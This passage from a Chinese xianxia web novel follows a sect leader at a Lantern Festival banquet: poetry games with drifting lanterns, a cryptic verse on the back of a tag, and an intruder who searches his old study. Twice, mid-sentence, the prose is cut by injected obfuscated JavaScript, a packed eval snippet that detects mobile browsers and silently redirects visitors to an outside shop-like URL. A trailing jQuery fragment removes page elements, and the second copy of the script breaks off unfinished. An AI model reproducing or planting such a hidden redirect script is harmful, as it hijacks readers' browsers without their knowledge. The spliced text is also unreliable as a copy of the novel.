公仪岭扫了两眼觉得头晕,但承悦默默看了一会,心中便有了个大概的数量,毕竟这么多年宴席办下来,各家会有多少人前来,他不看册子也能知道个数,高低差不到哪里去。 承悦看完,对公仪岭点了一下头,公仪岭便知他意思,对燕蓉道:“此事交给我们就好,你先去忙别的吧。” 交给他们两个人,燕蓉十分放心,只叮嘱了一句就又离开了。 一整个下午,公仪岭和承悦来回核对了两遍,直到确认所有数量无误后,两人才累瘫在了紫阳殿前的玉阶上。 承悦抬头望天,喃喃道:“下次可不能再接这差事了。” * 戌时,紫阳殿内灯火通明。 引路的仙侍们准时将各家宗主及其弟子们带到了殿外,至于云灵山的弟子们,回到芙蓉院后也没找到宗主和承悦师兄的踪迹,便先跟着仙侍到了紫阳殿外候着。 公仪岭和承悦一见人都来了,为了顾及云灵山对外的形象,还是从殿外的玉阶上起身,镇定自若地同各家宗主寒暄。 来来往往的仙侍见他们早就在了,以为他们是想在殿外透透气,故而也没有上前催促他们入席,最后还是等燕蓉忙完,回了大殿门口以后,顺道把两人给带了进去。 刚刚在外面的时候,公仪岭也往紫阳殿里面看了一眼,那时候都觉着这次的布置确实不错。等人亲自进来以后,他才发觉从里面看的视觉效果还是比外面强了很多。 大殿上空悬浮了不少方形的宫灯,每一盏宫灯下面都吊了一块小木牌,上面都寥寥写了几行字,公仪岭看了眼离自己最近的一块木牌,便知上面写的就是上元夜宴的灯谜了。 公仪岭想起从前的上元节,转头问燕蓉:“从前上元节,宴饮完便在外面的长廊上猜灯谜,赢宝物,今年可还是这样?” 燕蓉点头,带他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204308|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到位置上才道:“差不多吧,只是稍微变化了一下规则,让各位更加有参与感罢了。” “什么规则?” 燕蓉抬头看了看那些漂浮着的木牌,淡笑道:“届时你们便知道了。” 灯谜还没开始猜,燕蓉就已经开始与他们打起了哑谜,公仪岭只当他们准备了像上次那样的环节,陡然一阵心慌,也就没再追问下去。 根据下午统计的数据,这大殿内足有百来张桌案,算一家宗门两张桌案的话,前来赴宴的宗门也有五十余家。 多亏了紫阳殿宽敞,公仪岭核对位置的时候,倒也没觉得拥挤,反倒还有些冷清。直到里面人都到齐了以后,听着大家闹哄哄地互相聊天寒暄,才觉得有了点过节的氛围。 公仪岭按照燕蓉说的位置坐下,转头看了看旁边的齐元白,顿时安定了不少,当下就打定了主意,要是这次再玩传物的游戏,他绝对会想办法往旁边塞。 不过,要是大哥接到了的话,会选择如何表演才艺呢? 公仪岚从小到大并没有表现出来什么其他爱好,要是真上场的话,大概也只能给大伙舞个剑了。 好在公仪岚此前并没有在众人面前舞剑,就连承悦也不知道他舞剑是个什么样子,公仪岭也就不用担心会因为剑招不对被人看出来了。 公仪岭沉思了片刻,觉得没有问题,安了心。 正想着,齐元白侧身过来道:“岚兄,到时候如果他们又传物的话,你可得帮我挡着点。” “嗯?” 公仪岭前一秒刚想着如何悄无声息地坑齐元白上去,后一秒就听到齐元白光明正大地与他商量,一时都不知道该作何表情。 齐元白无奈道:“咳,这可不是我想偷懒,主要是不太擅长表演个什么,你若是答应了,我就把我亲手画的两张高阶符箓赠你,如何?” 公仪岭深深地看了他一眼,似乎内心还在做着挣扎。 齐元白以为他是想回绝,未等他开口,自己就加了码:“三张。” 旁边承悦都按捺不住想答应,想出声证明下自己的存在:“齐宗主,我也能行……” 公仪岭没给承悦这个机会,很沉稳地点了点头,淡声道:“成交。” 齐元白见他答应,面带笑意,从怀中直接取出了三张符箓放到公仪岭桌案上,心说果然这一套对他们哥俩都好使,下次还得试试。 两人这样有一搭没一搭地聊了两句,一直等到了戌时一刻,才看见燕渊姗姗来迟,从正殿门口缓缓进来,身后还跟着燕煦泽和两个随身的仙侍。 各家宗主身后的仙侍都极有眼力,恰到好处地给宗主们续上了酒——燕渊到场了,众人自是应该齐齐起身行礼的。 公仪岭闻了闻杯中的酒香,就在心中默默感慨了一句:“紫阳宗真是大手笔,这酒可是上好的梨花白啊。” 不过,公仪岚对酒类自是不甚了解的,他即便是知道也没办法说出口,只能默默在旁边听着齐元白给他介绍着酒名。 端好了酒杯后,两人也相继起身,同其余宗主一起朗声道:“见过燕宗主。” 燕渊站在正座前,微微抬了抬酒杯笑道:“今日佳节,能够邀各位宗主共赴夜宴,乃是紫阳宗的一大幸事。玄霄殿大胜,让我们为这来之不易的和平庆贺,请诸位仙友,共饮此杯!” 说罢,他将杯中的酒一饮而尽。 “好!” 底下的众仙,也都喝了一声彩,十分爽快的喝完了杯中酒,稳稳当当地坐回了坐席中。 公仪岭默默放下酒杯,朝燕渊望了一眼。 看样子,这几日下来,燕渊他倒是也变得沉稳了一些,有了几分宗主的模样了。 149.上元灯如昼 邀宾述灯谜(五) 这场面话说完,差不多就到了开宴的时候。公仪岭还在等着仙侍们端着盘子来上菜,哪知桌案上的餐前零嘴还没吃完,面前就突然出现了一圈细长弯曲的水渠,正哗哗地流着清水,水面上方还隐约有雾气缭绕。 而清水上,晃晃悠悠飘过来了几十个白玉盘子,上面放着的菜肴正是公仪岭昨日尝过的第一道菜。 承悦咂舌道:“这是……曲水流觞啊。” 齐元白看着水渠上缠绕的灵力,也笑道:“看样子,燕渊也是学了他爹的办法,变出来了这个,倒是有趣。” 公仪岭还琢磨着要不要自己亲自动手,把这水流上的白玉盘给取下来,身后的仙侍动作却比他更快,大殿上这几十个仙侍动作整齐划一,瞬间便把各自宗门的那一份给取了下来,摆在了桌案上。 曲水流觞,在民间也十分流行,常出现在世家大族、文人墨客饮酒畅谈、吟诗作对的时候,算是一桩雅事。 看样子,今年上元的活动大概也是与这曲水流觞有关系了。 对面司沛白也看出了这一点,问了燕渊此事:“燕宗主,往年上元节的灯谜可都是等宴饮结束了以后才开始的,莫不是今年打算提前了?” 燕渊从容地尝了一口梨花白,笑道:“司宗主莫急,再过一会,便见分晓。” 燕渊卖的这个关子,公仪岭只当是耳旁风。 毕竟那水渠之上前前后后已经上了有三四道菜了,他刚帮忙了一下午,正是需要补充点体力的时候,那菜肴一上,立刻就顾不上旁的了,先吃再说。 承悦这会儿也正迫不及待地尝着美食,得空了的时候还不忘与旁边两人点评一二:“宗主,这道蟹酿橙做得极好,蟹肉鲜美、橙香清甜,一点都不比咱们那做得差。” 仙侍也在公仪岭盘子上摆了一个蟹酿橙,公仪岭昨日还尝过,本来不想这么快吃,但还是在承悦的极力推荐下尝了一口,点头道:“不错。” 齐元白见两人都这样说,便也试了试。蟹肉入口,熟悉的味道在舌尖蔓延,不由就勾起齐元白的回忆。 “说起来,这蟹酿橙还是你们那边的名菜呢,听说这次的菜是燕蓉姑娘亲自选的,有心了。”齐元白含笑说着,“从前,阿岭自己做的菜谱上,第一道便是蟹酿橙,他试了许久才做成呢。” “这样么……” 齐元白不提,公仪岭都快忘了这回事,垂下眼眸细细思索了一会儿,才猛然间回忆起来,自己第一次下厨的时候,似乎就是为了做蟹酿橙这道菜。 那时候年少,云灵山内也没有人能指点他,他还是自己试验了很多次才摸索出来的。 过了这么多年,自己竟然都快不记得了。 只是,他现在已经不再是公仪岭,公仪岭早已在那场大火中离世了。 公仪岭捏着酒杯,看着里面的清水,默然道:“是啊,从前阿岭喜欢做这个。” 齐元白见他黯然,这才反应过来,无意中又提起了伤心事,便也沉默了下来。 承悦连忙岔开话题:“宗主,我看对面那几位宗主,像是想要来拜见你呢。” 大殿内闹哄哄地推杯换盏,这家拜会那家,那家奉承这家,好不热闹。 公仪岭抬眼朝着对面望去,果然看见几宗主捧着酒杯过来。 再怎么说,云灵山也是几大仙家之一,慕名过来拜会敬酒的小宗门也不在少数,有几个宗主看起来甚至只有十四五岁的样子。 那几个后辈宗主刚拿起酒杯想敬,就让公仪岭不得不出言制止:“你们年岁尚轻,不必喝酒……” 几个后辈宗主眨了眨眼,看着面前这位公仪宗主杯中的清水,悟了。 随后立刻把酒杯递给仙侍,道:“换清水来!” 仙侍了然,没一会儿清水就注入杯中。他们端着杯,对着公仪岭恭敬道:“匆匆赶来赴宴,未曾拜会公仪宗主,是我们失礼,自罚三杯。” “无妨,无妨。” 公仪岭看着他们热切且坚定的眼神,心知他们大概是误解了什么,但至少结果是好的,几个后辈杯里的酒统统换成了清水,于是也没再说什么,只默默喝光了杯里的水。 他喝完了以后,旁边的齐元白自然也逃不过。 见这几个后辈礼数周全,齐元白也笑着端起酒杯:“公仪宗主喝不了酒,我就替他喝了。” 公仪岭叹了口气,坐回席上,等齐元白打发走了那几位小宗主,才继续与他们一起吃席。 跟齐元白闲谈之时,公仪岭瞥眼注意到孟妙意旁边的席位空缺。 公仪岭先前还打算去问一问孟妙意,这次上元夜宴他们的旧友是否前来,顺便想与他讨教一番种茶叶的事情了。 不过那位的话,向来都是不参加这种宴席的,之前的宾客名单里,公仪岭也没见到他的名字,大约是没来吧。 正失望,公仪岭身侧忽然又出现一人,讷讷开口道:“岚兄,别来无恙。” 公仪岭侧目一看,霍然起身。 来人一身青绿衣服,看起来风尘仆仆,手上也没拿酒杯,反倒是扛了个不大不小的布包,眼中满是疑惑。 公仪岭的失望一扫而空。 此人名唤孟阳,是青花谷的人,公仪岭认识这人的时候,他就热衷于种田,对打架无甚兴趣,后面还专门跑进山林里隐居,专门给宗门研究各种草药之类,平常是根本见不到他人的。 公仪岭本来都开始打算去青花谷找他问问种茶的事情,却不想这人竟真过来参加上元夜宴了,想必孟妙意旁边的空位,应该就是给他留着的。 公仪岭诧异问道:“孟阳,你出山了?” 孟阳挠了挠头道:“刚拜见完宗主,我就过来了。岚兄,你上次书信给我,问了有关于抱元门茶叶的事情,我就给司姑娘带了些过来。” 他解开了自己的布包,取出两袋东西交给公仪岭:“这些都是我花了很久才养出来的茶叶,我特意拿来给司姑娘尝尝的,司姑娘人呢?” “……” 公仪岭不知该作何回答。 这孟阳闭关隐居刚出来,对外面发生的事情可谓一概不知,就连青花谷的人也不知道他跑哪去了,公仪岭只听说他是因为西南地区的土质不合适,才跑去别的地方找田地,若非有公仪岚的灵雀寄信,不然连他也不知道这人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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公仪岭微笑:“现在可反悔不了了,不过,你若是写不出来的话,我可以替你罚一杯酒。” 齐元白挥了挥手:“怕什么,我这名字,想写两句诗还不容易?我看岚兄你可得小心些,你这个字,可不好想。” 公仪岭想了想,确实是这个道理,再说了,在场这么多人,恐怕也不容易轮到自己。 这盏宫灯自顾自地漂流,其他的菜式却是一刻不停地摆上了桌。 一开始大家还都紧紧盯着,想看看这宫灯会飘到哪里,等三道菜上完,众人的注意力也减了大半,倒是少有人还一直盯着了。 直到公仪岭吃完了桌上的莲叶羹,与承悦讨论完了这莲叶是如何在冬天出现在餐桌上以后,那盏宫灯才慢慢悠悠地在一人面前停下。 “哎哎哎,宫灯停了!” “停哪儿了?停哪儿了?” 对面的人没看清楚宫灯到底是停在谁面前,还在互相问着,正座上的燕渊已经开口:“纪宗主,请吧。” 150.上元灯如昼 邀宾述灯谜(六) 原来宫灯是停在六弦阁宗主纪北面前。 纪北身后的仙侍将白玉盘从水面托起,放到了他的面前,把早已备好的笔墨呈上,静静等待着纪北落笔。 他这名字写起来轻松,众人也不担心他会被罚酒,于是都等着看他写上什么诗句了。 纪北只略微思索了片刻,便写上了一句,等他写完最后一个字搁下笔,仙侍便拿着白玉盘呈给燕渊过目。 燕渊拿起木牌看了一眼,道:“纪宗主所写:‘北风江上寒’,不错。那便请纪宗主随意择一个大殿上方的木牌奖品吧。” 纪北起身拱手:“多谢燕宗主。” 说罢,纪北微微抬手,大殿上空其中一盏宫灯便落在了他的掌心。 他取下木牌,扫了眼上面的内容,笑道:“二品灵器一个,那便多谢燕宗主美意了。” 纪北这样一说,下面的几家宗门都是一片哗然。 就连齐元白也忍不住与他们说道:“燕渊这次,倒是大手笔……” 公仪岭也是赞同。虽然他自己用的是一品灵剑,归云和彻云都是在仙家法器榜上名列前茅的两把灵器,但他们这样的毕竟少数,大部分宗门弟子用的法器并非上品,有些小宗门的宗主用的也不过是二品灵器,燕渊这次设的奖品,的确能够称得上一句大手笔了。 承悦点头道:“毕竟燕渊刚接手紫阳宗,又是第一次承办上元夜宴,这样安排也能理解。” 燕渊对众人这样的反应十分满意,挥手招呼仙侍就去取木牌上的灵器了。 没过多久,水渠上又重新出现了一个新的宫灯漂流。有了灵器的诱惑,众人这一次都认真了许多,纷纷盼着这宫灯到自己面前的时候停下来。 这一次,足足过了两炷香的时辰,宫灯才摇摇晃晃在一人面前停下。 齐元白看着面前停下的宫灯,也是微微一怔,继而对众人道:“承让了。” “齐宗主,请吧。” 齐元白接过了仙侍递来的笔墨,落笔写下了一句。 公仪岭一直在他旁边观摩,眼见着他写下了五个字“仙去白云孤”。 等到燕渊过目后,齐元白也是从上空择了一盏宫灯上的木牌,垂眸看了一眼笑道:“二品仙丹一枚,燕宗主客气了。” “齐宗主哪里的话。” 区区一枚仙丹而已,燕渊并不在意,何况太微山也不缺这个,他只当齐元白是在与他客套。 两轮完毕,仙侍又重新将新的宫灯置于白玉盘上,这第三盏宫灯,便顺着水流一路飘摇,开始了它的漂泊之路。 这一次,众人并未等待多久,宫灯绕了两圈便找到了它的主人。 齐元白正研究着手里的二品仙丹呢,听见对面的说话声,这才抬起头朝着宫灯停下地方向看了一眼,惊讶道:“哎哟,这次宫灯是停在燕蓉面前了呢。” 承悦也稍稍惊讶了片刻,不过很快就了然道:“燕蓉姑娘也是辛苦一年了,是该抽到个好东西给她才是。” 燕渊大概也是这样想的,对自家师姐十分耐心:“师姐,请写一句吧。” 燕蓉一直安静地坐在燕渊的左下方,瞧见宫灯停在面前,脸上也是露出了诧异的神色。 紫阳宗的仙侍对燕蓉十分敬重,将宫灯放到了她桌案上:“燕蓉师姐,请。” 燕蓉的诧异转瞬即逝,她顺手接过了仙侍拿来的物件,停顿了许久,才开始落笔写字。 带“蓉”字的句子不在少数,光是当初仙侍带他们去芙蓉院的时候,就随口念了一句。公仪岭不觉得她会写不出,于是就开始跟齐元白猜起来,燕蓉会写什么内容。 齐元白第一反应也是芙蓉院的那一句,当即笑道:“这还用猜,肯定是‘吴娃双舞醉芙蓉’那句。” 承悦摇头道:“我看最出名的还得是‘太液芙蓉未央柳’这句,换做是我,肯定先想到这个。” 这两人各执其词,都开始对赌起来了。承悦在桌上搁了一块灵石,齐元白则是搁上了一张高阶符箓,说什么也要公仪岭做个见证。 公仪岭默默点头应下,心里还是更倾向于齐元白口中的这句。他瞧着燕蓉写完最后一个字将木牌交给了仙侍,等待着燕渊开口说结果。 燕渊取下了仙侍呈上来的木牌,低眸瞧上了一眼,脸上诧异。 不过低下众人都还等着燕渊的结果,他也并未深思,就念道:“师姐所写:‘涉江采芙蓉’。” 这句公仪岭也略有耳闻,只是这其中的内容……似乎是一首情诗? 公仪岭尚未肯定,但齐元白却已经意外道:“这诗……难不成燕蓉有心上人了?” 承悦将桌案上的灵石放到了公仪岭面前,叹息道:“可惜,我们俩都没猜中,岚兄坐庄通吃。” 齐元白倒是不在意这个,反倒更想去听听八卦,随手将符箓递给公仪岭以后,就侧头去问紫阳宗的仙侍了。 面对周围人好奇的询问,燕蓉并没有给予回答,抬手在大殿上空随意择了一个木牌,瞧了瞧上面写的内容后,对燕渊拱手道:“多谢宗主赠一品灵器。” 燕渊让仙侍递来的那一品灵器也是一柄法扇,这法扇通体银白,带了些淡淡的月色光辉,公仪岭远远瞧上了一眼,就知此扇是为上品,想必不会比浮光青玉扇差到哪里去。 “师姐不必言谢,依我看,这扇子与你乃是相得益彰,极好。” 燕渊的好意,燕蓉自然不能推辞,只不过这些年她早已用习惯了师父所赠的浮光青玉扇,也没有更换的想法,便将这把扇子给收了起来,权当收藏了。 在此之后,新的宫灯又漂了五六轮,择了几个弟子写完后,这活动才算圆满结束了。 等到最后一位弟子如愿得到奖品后,这紫阳宗准备好的最后一道膳食也顺着水流漂了过来,由仙侍端给了各位宾客。 公仪岭凝视着面前这道冰糖甲鱼,久久没有动筷。 承悦也是一脸为难,他对甲鱼没有什么食欲,再加上因为公仪岭生前养王八,整个云灵山都没吃过这样的膳食,这时候叫他吃这冰糖甲鱼,有些为难。 齐元白倒是不讲究这些,上来便吃,尝了一口后点评道:“不错,肉质紧实、酸甜可口,是为上品。” 说完还转头疑惑地问旁边两人:“岚兄、承悦,你们怎么不吃?” 承悦试探着夹了一块,道:“没尝过,总觉得怪怪的。” 周围这么多眼睛盯着,公仪岭迟疑了一会儿,还是尝了一块,勉强道:“尚可。” 这道菜也算是云灵山那边的特色,身后的仙侍只以为他是觉得味道不行,但是碍于面子又不好说,便出声问道:“公仪宗主,燕蓉师姐特意交代了,说您若是觉得不好吃的话,不必勉强,我们再给您做一盘新的冰糖甲鱼上来就是。” 公仪岭马上摇头:“不必,我觉得味道已经不错了,就不用劳烦膳房重新做了。” 仙侍松了口气:“那便好。” 花了一刻钟的时间,公仪岭才勉强将这一盘给吃完。 而等他吃完 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殿内陆陆续续已有许多宗主落笔写完了灯谜,都先后出了殿门,各自寻了一个好位置挂宫灯。 公仪岭随意选了个不起眼的位置就给挂上了,刚挂完,便看见燕蓉端着两盏宫灯出来了。 他不解地问仙侍:“你们家师姐怎得拿了两盏宫灯出来挂?” 仙侍笑道:“公仪宗主,先前在木牌上写了诗句的几位都得把那灯给挂起来,只是不用来猜谜,于他们而言,算是讨个好彩头。” 燕蓉挂的位置不算偏远,但也不是很显眼。这些宫灯基本都长得一模一样,燕蓉挂完以后就混入了其余宫灯之中,难以分辨了。他只记了个大概的位置,打算等会儿去看看燕蓉写了什么灯谜,要是能猜出来,可就能问她讨个奖品了。 这上元夜宴的猜灯谜环节,向来随意些,旁人如果猜出来谜底,便能去问出题的人讨一个东西,至于这东西,多半都是出题的人提前准备好了的,也就不存在什么狮子大开口之类的问题了。 这么多年,大家都十分有分寸,这样尴尬的事情,倒是从未发生。 而他们这些大宗门,一般来说准备的东西也会更好一些,所以大部分人都会先去猜他们几家宗主的谜题,看看能不能运气好解出来。 与他所想的差不多,公仪岭和齐元白刚一挂完,立刻就围上来了不少年轻弟子争先恐后地来猜,公仪岭好不容易从人群中脱身,想着找个人少的地方等一等,朝着长廊望去,似乎也就那几个写了诗的灯笼处无人了。 想来也是,除了那几盏宫灯没有灯谜以外,旁的宫灯多少都围了一两个人在猜,七嘴八舌地争得十分热闹,也不知到底是谁猜对了。 公仪岭并没有什么所求的东西,只犹豫了一瞬间,立刻下定决心,先去那写了诗的一排宫灯处避一避人群。 饶是他身手再不凡,在这么多仙僚中挤出去也不是件容易事,公仪岭好不容易抵达了目的地,终于呼吸到了一口新鲜空气。 头顶的木牌随风飘摇,上面写的内容正是方才殿内他听到的那些。 只不过,很快公仪岭便注意到了不对的地方。 这一排木牌,原本该是只有正面写了字的,但风一吹,这些木牌也就顺着风向翻了个面,其余的十几块木牌背面都是清一色的空白,唯有一块木牌上面,浅浅地写了几个字。 151.上元灯如昼 邀宾述灯谜(七) 公仪岭微微皱眉,不动声色地取下了这块木牌。 木牌正面写了几个苍劲有力的字:涉江采芙蓉。 看到这木牌正面写的诗句,公仪岭便知这是燕蓉挂的木牌,只是等他翻到背面,想看看刚才看见的是什么字,却诧异地发现这背面的字迹潦草难辨,压根不是燕蓉的笔迹。 而他辨认了许久,才勉强认出来这上面的字也是半句诗:“只缘身在此山中。” 这是谁写的? 公仪岭摩挲着木牌,仔细查看着上面的字迹。 他与燕蓉通信不在少数,十分清楚燕蓉的笔画习惯,这上面的字,并不像是她写的。这长廊上人数众多,没准是其他人随便找了个木牌写字也不一定。 当然,毕竟这块木牌是经过了燕蓉的手的,也不排除燕蓉是故意换了笔迹后写下的。 可如果是燕蓉的话,她又为什么要写这句话? 公仪岭紧紧握着木牌,默念了两遍这句诗。 不识庐山真面目,只缘身在此山中。 他想起昨日燕蓉特意前来让他选菜的事情,心中不安更甚。 当时公仪岭就已经有所察觉,可能燕蓉对他的身份已经起疑,而现在又看见木牌背后的这半句诗……如果这半句诗当真是燕蓉写的话,那她十有八九已经知晓了公仪岭的身份,恐怕是想用这样隐晦的方式,来提醒自己。 他现在独木难支,尚且都无法保全自身,就算是燕蓉知晓了他的真实身份,他也断然不能与她相认,谁也不知道那幕后之人会不会再对公仪岭身边的人下手。 不管是谁写的,这样的字定然不能让旁人瞧见。 公仪岭稍加思索后,抬手施法,将这背面的字迹给隐去了。 这几块木牌大家都知道没有灯谜,也就不会往这里仔细瞧,只要他用法术将字迹遮盖,应该就不会有人发觉不对。 做完这一切,公仪岭神色如常地将木牌挂回了宫灯下面,仿若什么事情都没有发生,要是有人看见他的话,也只会以为公仪宗主是在这边随意瞧了瞧他们写的内容。 这么一会儿工夫,他已经听见不少各家弟子开始吵吵嚷嚷地找木牌上出题的人,有几个嘴里还喊着齐宗主的名号,也不知道齐元白是跑到哪里去了,让人一通好找。 “有没有人看见公仪宗主?公仪宗主人呢?” 公仪岭写的灯谜简单,没多久就有人猜出来了谜底。他远远听到了几个年轻后辈们的喊声,也不好再在这个地方继续待着了,赶忙挤回自己挂灯的地方,刚找到喊话的人,就被那些后辈们团团围了起来。 “是谁猜出来了?” 公仪岭低头打量着面前一群弟子,只有为首的那个弟子手中拿了他写的木牌,看衣服像是青花谷的弟子。 那弟子双手将木牌奉上,喜道:“公仪宗主,是我猜出来了。” 公仪岭接过木牌,问道:“你说,谜底是什么?” 这位青花谷的弟子毫不犹豫道:“是影子。太阳落山以后,影子就消失了,等月亮出来,影子便又出现了。” 公仪岭点头,颇为赞许:“对,没错。” 临行前承悦就把奖品给他准备好了,公仪岭取出一个袋子,把里面的灵石递到了他手上。 这块灵石虽比不上燕渊送的灵器丹药,但也算是上品,用来当做猜灯谜的小奖品最合适不过。 那弟子得了灵石,高高兴兴地谢过后便转而去猜下一个了,公仪岭抬手取下了宫灯,顺手逮了一个云灵山的弟子,让他们给燕渊带过去。 处理完了这些,公仪岭在人堆里找了燕蓉很久。 要想知道那木牌背后究竟是不是她写的,自然是该去问本人了。 只可惜整场灯会下来,公仪岭都未曾看见燕蓉的身影,哪怕问了紫阳宗的弟子,也都说没见过师姐的去向。 灯会结束,上元夜宴散场。 众仙侍们都收了工,各家宗主们都商量着什么时候启程,而承悦过来询问他离开时间的时候,公仪岭迟疑了片刻,还是决定在紫阳宗又多留了一日。 芙蓉院,书房。 承悦在他的桌案旁磨了一刻钟的墨,等了许久也没见他在面前摊开的空白帖子上写上只言片语。 “宗主,这帖子……是要写给谁的?” 公仪岭抿唇未答,沉默了很久才叹息道:“承悦,你先出去吧。” 承悦虽然不解其意,但还是搁下了墨条:“那我先去叫弟子们收拾东西吧。” 承悦走后,公仪岭犹豫再三,构思了许久内容后,才执笔写了一封拜帖,在这帖子中讲清楚了前因后果,言明想在离开前当面问燕蓉一些事情。 芙蓉院门口的仙侍倒是接了他的拜帖,但还是提前对公仪岭道:“燕蓉师姐昨日忽然有急事,提前离席了,并不一定能有时间见您。” 公仪岭面上没什么表情,淡声应下,内心却是极为不安。 他昨日用法术隐去了字迹后就离开了,燕蓉在这个节骨眼上有事,莫非是旁人也看见了木牌背后的内容,叫了她过去询问? 公仪岭现在还没找到证据,要是现在就暴露身份的话,那公仪岚的苦心就白费了。 他断然不能让这样的事情再度发生。 怀着这样忐忑的心情,公仪岭等了足足有一个下午,才等到了仙侍回来,同仙侍一道回来的,还有燕蓉的回函。 大约是因为事务繁忙,燕蓉并未抽出时间与他见面,在信中表示自己并不知道有关于木牌背后的事情,在她挂好木牌以后,就离开了灯会去安排仙侍处理夜宴完了的事情。 至于他在拜帖中委婉地试探了燕蓉那木牌背面的内容,想看看她是不是知道了自己的身份,却还是没试探出个结果来。 燕蓉的回函中,语气和用词都极为正常,根本看不出任何问题,公仪岭一时也没法下结论,只能想办法等日后再试探一番了。 其余各家这几日都陆续请辞,公仪岭也不能在此 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山中弟子见他一个人来回搬文书,只当是有什么要事需要处理,纷纷想帮公仪岭的忙。公仪岭见他们这样热情,就随意点了三四个弟子帮他把从前爹娘寝房里的文书给搬了过来。 一个下午的时间,近十年的所有文书和信函全都堆在了院内,足有小山那么高。 好在爹娘那搬来的文书都是分门别类过的,公仪岭只收拾了一番自己院子里的那些后,就开始逐个宗门地进行排查。 每排查一个,公仪岭就会在新的册子上记下他们的宗门和姓名。如此足足过了有十日,他才将所有的文书看完,而自己写的册子都已经有不下几十本了,里面的名字更是有几千人,却还是没寻到与木牌背面字迹完全一致的文书。 唯一的收获就是,齐元白说的地契上签名有异的事情,倒是没说错。公仪岭在翻看自己年幼所写的内容之时,将那时候的签字与地契上的一比对,发现两者果然不一致,足以看出这是一个造假过的地契。 这么多的文书,公仪岚的住所是定然放不下的。 山中弟子这时候大多都在练剑,公仪岭也只能先带一部分文书放回自己的院落。 可才过了十日不见,当他再度推开书房门的时候,却发现有些细微的变化。 例如,他从前习惯把信函都放在檀木盒子里,每次取了信函出来看以后不会立刻把锁扣给合上,等他看完信函放回去以后才会重新锁好。 而现在那檀木盒子的锁扣却已经紧紧合上了。 公仪岭立刻察觉到不对劲,再度扫了一眼书房内,敏锐地发觉房内的每一个东西都发生些微妙的变化。 角落里的大花瓶被人挪了方向,床头的被褥也像是被人翻过一样,与山中仙侍叠起来的手法并不一样。 显然,有人在这十天内闯入了他从前的书房,还翻看了他的檀木盒子和所有的抽屉暗格。 152.何人盗鬼玉 妖毒现青花(一) 谁有这样大的胆子? 从他回来以后,云灵山的结界都是已经封好了的,刚进自己院落的时候,也并未有这些变化,只能说明这人是在他翻阅文书的十日间闯入的书房。 除非是有人十分熟悉他的设结界方式,才能悄无声息地破开了结界进来,否则结界异动的话,这十日间他定然能够察觉到异常。 公仪岭凝眉驻足片刻后,转身离开了书房,前去了他爹娘的院子。 如果这盗贼是想从他们这儿获取文书和信函内容的话,定然不会只翻找自己的院子,肯定会先去他爹娘的院子。 只是,公仪岭在爹娘的书房内看了半天,也没感觉出来有什么问题,每一样东西的摆设,都和他离开前一模一样。 而等他再度回到公仪岚的房内,也并未发觉摆了文书的房间被人动过。 这人的目的如果不是云灵山文书的话,那会是什么? 公仪岭院子里的摆设和用具,都和爹娘大哥屋内的差不多,他房内也没什么值得被人盗窃的东西,除了一些普通的摆件和信函,就只剩下各种各样的钓具了。 他唯一能想到能对此人产生兴趣的、他有但是旁人没有的东西,恐怕就只有那块跟魔族脱不了关系的黑石鬼玉了。 在公仪岚身死后,这块石头就被公仪岭放在了书房内的暗格,他离开云灵山前,用了十几道符箓封禁,确保除了自己无人能够解开后,才安心地前去赴宴。 现在看来,那人既然能悄无声息解开结界进云灵山,定然是个修为不低的人,这些封禁符箓应该也防不住他,这黑石鬼玉,还是需得贴身安置才行。 思虑及此,公仪岭从暗格中取出了黑石鬼玉,施加了障眼法后,重新挂在了自己的脖子上。 随后,他又重新施法设下了云灵山的结界。 等到弟子们练完了剑,承悦才进了书房,打算帮他把东西都给搬回去,他前脚刚跨进来,后脚就看见公仪岚正一脸严肃地看着他。 “宗主,发生何事了?” 公仪岭凝眉道:“方才我前去阿岭的房间,发现里面的东西都被人动过了,想必是有贼人闯进了云灵山中。” 承悦闻言,有些震惊:“这几日山中结界都好好的,怎会有人闯入?” 公仪岭颇为头疼地按了按额头:“如果不是山中弟子干的话,那此人定然清楚我们设结界的法术,否则也不能悄无声息地潜伏进来。我已重新布下结界,尚且还不清楚此人在不在山中,这几日,你便暗中搜寻一番,看看有没有可疑之人。” 承悦点了点头:“的确,那我顺便也查一查这几日无故缺席的弟子,看看会不会是他们做的。” 公仪岭叹了口气:“希望如此吧。山中弟子拜师前,基本都是查过背景的,应当不会这样才对。” 承悦忧心道:“他们也修习很久了,难保中间会不会起什么二心,还是再查一查每个人的行踪才能放心。” “我想,他这次并未得手,说不定还会有第二次。前几天是我有所忽略,才让他钻了空子,这几日我会多加留意院内动静。” * 公仪岭同承悦交代完后,也在山中各处巡查了一遍,只在后山某处查到了有人闯入的痕迹,却没抓到任何可疑之人。 此后的十几日,山中也再没出现类似的情况。他只当这人没盗取到黑石鬼玉就放弃了,这几日批阅文书之时,发现山下的贡桌说云灵城内似乎有妖邪,就打算暗中去附近探查。 他取了彻云剑,简单收拾了下行囊打算下山,书房外便传来了仙侍的声音:“宗主,孟公子求见。” 公仪岭上次见孟阳还是三日前去后山茶园的时候,查看了一番茶叶的状况后与他闲聊两句便离开了,想来孟阳此次前来,应当是与他来辞行的。 公仪岭点头道:“请他进来吧。” 孟阳进来的时候满面疲惫,大概是因为好几日操劳下来,没有休息好,进了书房后正想开口说离开的事情,就见公仪岭背着个普通的布包、手中提着剑像是要下山的样子,立刻改了口:“岚兄,你这是打算下山?” 公仪岭道:“城中近日似有妖邪异动,我担心出事,特意前去查看。” 孟阳了然,又道:“那先派几个弟子下山便是,岚兄何必亲自前去。” 